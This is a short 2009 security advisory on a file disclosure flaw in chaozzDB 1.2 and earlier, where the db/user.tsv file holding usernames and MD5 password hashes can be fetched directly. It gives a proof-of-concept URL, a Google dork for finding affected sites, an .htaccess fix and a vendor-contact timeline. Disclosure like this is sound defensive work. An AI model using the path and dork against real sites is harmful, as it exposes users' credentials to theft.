[ECHO_ADV_105$2009] chaozzDB <= 1.2 Critical File Disclosure Vulnerability

ECHO_ADV_105$2009

[ECHO_ADV_105$2009] chaozzDB <= 1.2 Critical File Disclosure Vulnerability

Author : K-159
Date : March, 16 th 2009
Location : Jakarta, Indonesia
Web : http://e-rdc.org/v1/news.php?readmore=129
Critical Lvl : Moderate
Impact : Exposure of sensitive information
Where : From Remote

Affected software description:

Application : chaozzDB
version     : <= 1.2
Vendor      : http://chaozz.nl/software/chaozzdb/
Description :

chaozzDB is a flatfile database system, which is small and fast. It supports most of the normal SQL-like statements 
(it can insert, delete, update, open and search). It comes with clear and full documentation and a PHP example.

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Vulnerability:
~~~~~~~~~~~~~~

Critical user.tsv file in db's folder are vulnerable to direct access to view 'critical' information about username and md5hash password from users.


Poc/Exploit:
~~~~~~~~~
http://www.example.com/[chaozzDB_path]/db/user.tsv

Dork:
~~~~~
Google : "chaozzDB 1.2"


Solution:
~~~~~~~

- add .htaccess in db's folder.

Timeline:
~~~~~~~~~

- 14 - 03 - 2009 bug found
- 14 - 03 - 2009 vendor contacted
- 15 - 03 - 2009 vendor response
- 16 - 03 - 2009 advisory release
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Contact:
~~~~~~

K-159 || echo|staff || adv[at]e-rdc[dot]org
Homepage: http://www.e-rdc.org/

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